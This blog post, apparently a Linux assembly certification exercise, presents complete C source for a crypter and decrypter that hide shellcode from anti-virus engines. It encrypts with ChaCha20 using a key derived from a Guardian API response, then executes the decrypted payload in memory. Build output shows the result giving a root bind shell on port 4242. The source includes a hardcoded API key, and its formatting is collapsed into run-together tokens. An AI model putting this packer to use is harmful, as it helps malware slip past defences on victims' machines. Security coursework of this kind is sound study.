This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student-ID: SLAE-1154
This final exercise consists in using a custom crypter and decrypter to evade anti-virus engines, since signatures are used most of the time.
They are both taking advantage of the EVP functions provided by OpenSSL. The chosen algorithm was the ChaCha20 stream cipher with a random IV (12 bytes) and a key (32 bytes) retrieved on run-time. The key is the SHA256 of the id of the latest news of a configured section by using the public API provided by The Guardian.
#include <openssl/conf.h>#include <openssl/err.h>#include <openssl/evp.h>#include <openssl/rand.h>#include <err.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include "common.h"unsignedcharshellcode[]=STR(SHELLCODE);intmain(void){EVP_CIPHER_CTX*ctx;unsignedcharb[BUFSIZ];/* Crypted buffer (should be enough). */unsignedchariv[12];/* The IV length is 96 bits. */unsignedcharkey[32];/* The key length is 256 bits. */unsignedchar*ptr=b;intbl,ol;common_key(key);/* Get dynamic key. */if(RAND_bytes(iv,sizeofiv)==0)/* Get a random IV. */CRYPTER_SSLERR();if((ctx=EVP_CIPHER_CTX_new())==NULL)CRYPTER_SSLERR();if(EVP_EncryptInit_ex(ctx,EVP_chacha20(),NULL,key,iv)==0)CRYPTER_SSLERR();if(EVP_EncryptUpdate(ctx,b,&bl,shellcode,strlen((char*)shellcode))==0)CRYPTER_SSLERR();if(EVP_EncryptFinal_ex(ctx,b+bl,&ol)==0)CRYPTER_SSLERR();/* Check for NUL bytes in the crypted shellcode. */while(ptr!=b+bl+ol){/* Final buffer size is bl plus ol. */if(*ptr==0)errx(1,"NUL byte found!");/* There might be more! */ptr++;}for(ptr=key;ptr!=key+sizeofkey;ptr++)printf("\\x%02x",*ptr);puts("");/* Print the shellcode prefixed with the randomly generated IV. */for(ptr=iv;ptr!=iv+sizeofiv;ptr++)printf("\\x%02x",*ptr);for(ptr=b;ptr!=b+bl+ol;ptr++)printf("\\x%02x",*ptr);puts("");return(0);}
The common key retrieval code depends on cURL. Installing the header and library files, like with OpenSSL, is also needed:
#include <curl/curl.h>#include <openssl/sha.h>#include <err.h>#include <stdio.h>#include <string.h>#define COMMON_APIKEY "decfe466-4db7-4a7c-b0b8-f067cceaf94d"#define COMMON_BASE "https://content.guardianapis.com"#define COMMON_ENDPOINT "/search"#define COMMON_ENDPOINT_ARGS "?section=science&page-size=1&api-key="#define COMMON_URL \ COMMON_BASE \ COMMON_ENDPOINT \ COMMON_ENDPOINT_ARGS \ COMMON_APIKEYsize_tcommon_write(char*ptr,size_tsize,size_tnmemb,void*userdata){char*buf=(char*)userdata;strncpy(buf,ptr,BUFSIZ-1);buf[BUFSIZ-1]='\0';/* Guarantee a NUL. */return(nmemb*size);/* Size is always 1; no overflow. */}voidcommon_key(unsignedchar*key){CURL*curl;char*end;constchar*start;charr[BUFSIZ];/* Response (should be enough). */if(curl_global_init(CURL_GLOBAL_ALL)!=0)errx(1,"curl_global_init");if((curl=curl_easy_init())==NULL)errx(1,"curl_easy_init");if(curl_easy_setopt(curl,CURLOPT_URL,COMMON_URL)!=0)errx(1,"curl_easy_setopt");if(curl_easy_setopt(curl,CURLOPT_WRITEFUNCTION,common_write)!=0)errx(1,"curl_easy_perform");if(curl_easy_setopt(curl,CURLOPT_WRITEDATA,(void*)&r)!=0)errx(1,"curl_easy_perform");if(curl_easy_perform(curl)!=0)errx(1,"curl_easy_perform");/* Generate a key by finding the id and performing a SHA256 over it. */if((start=strstr(r,"id"))==NULL)errx(1,"start not found");start+=5;/* Go over the attribute. */if((end=strchr(start,'"'))==NULL)errx(1,"end not found");*end='\0';/* Turn it into a NUL byte. *//* The key needs to be 32 bytes. */printf("Generating key from: %s\n",start);SHA256((unsignedchar*)start,strlen(start),key);}
#include <openssl/conf.h>#include <openssl/err.h>#include <openssl/evp.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include "common.h"unsignedcharshellcode[]=STR(SHELLCODE);intmain(void){EVP_CIPHER_CTX*ctx;unsignedcharb[BUFSIZ];unsignedchariv[12];/* The IV length is 96 bits. */unsignedcharkey[32];/* The key length is 256 bits. */unsignedchar*ptr=shellcode+12;intbl,ol;common_key(key);/* Get dynamic key. */memcpy(iv,shellcode,sizeofiv);/* Save the prefixed IV. */if((ctx=EVP_CIPHER_CTX_new())==NULL)CRYPTER_SSLERR();if(EVP_DecryptInit_ex(ctx,EVP_chacha20(),NULL,key,iv)==0)CRYPTER_SSLERR();if(EVP_DecryptUpdate(ctx,b,&bl,ptr,strlen((char*)shellcode)-sizeofiv)==0)CRYPTER_SSLERR();if(EVP_DecryptFinal_ex(ctx,b+bl,&ol)==0)CRYPTER_SSLERR();(*(void(*)(void))b)();/* Execute decrypted shellcode. */return(0);/* NOTREACHED */}
Executing the crypter yields the following output. Like with the previous exercises, the shellcode to execute can be tweaked by the SHELLCODE variable:
1234
$ make crypter SHELLCODE=../0x01-bind/bind
Generating key from: science/2018/aug/21/use-of-killer-robots-in-wars-would-breach-law-say-campaigners
\xeb\x97\x33\xb0\xf6\x5a\x73\x32\x31\x34\xc8\x00\x63\x34\x98\x8e\x47\x2d\xdc\x6f\xc4\x1f\x83\x81\xf9\x04\x1b\xc9\x96\x86\x6f\xe2
\xcb\x1a\x5c\x61\x70\x5e\x82\x09\x59\x4f\xe6\x42\x1a\x62\xb9\xa6\x43\x09\xdf\x99\x33\x22\xf4\xfa\x41\xa5\x27\x6a\xe7\xfc\x76\x6a\x86\x5e\xa2\x8b\xf3\x3f\x5c\x90\xe9\xeb\x38\x4a\x0f\x30\xdb\x20\x4a\x8f\xcd\x8a\xa2\x53\xaf\xc4\x03\x1b\xe8\xf5\x9e\xe4\xed\xa6\x43\xc5\x92\xdd\xb9\x20\x0d\x1a\xb0\x95\xe7\x33\xd0\x44\x1b\x05\x47\x1c\x59\x3f\x99\xe1\xd2\x74\x62\x6d\x2b\x85\x55\xe2
The decrypter target already takes care of executing the crypter with the specified shellcode and extracting it from the above output:
12345678910
$ make decrypter
cc -W -Wall -Wformat=2 -fno-stack-protector -zexecstack -ggdb -DSHELLCODE=`./crypter|tail -n1` -c -o decrypter.o decrypter.c
cc -lcrypto -lcurl -zexecstack decrypter.o common.o -o decrypter
# ./decrypterGenerating key from: science/2018/aug/21/use-of-killer-robots-in-wars-would-breach-law-say-campaigners
$ ss -nlt|grep 4242
LISTEN 00 *:4242 *:*
$ nc 127.0.0.1 4242
id
uid=0(root)gid=0(root)groups=0(root)
Printing the contents of the decrypted buffer shows that the shellcode payload was correctly decrypted and is not gibberish unlike the original provided one: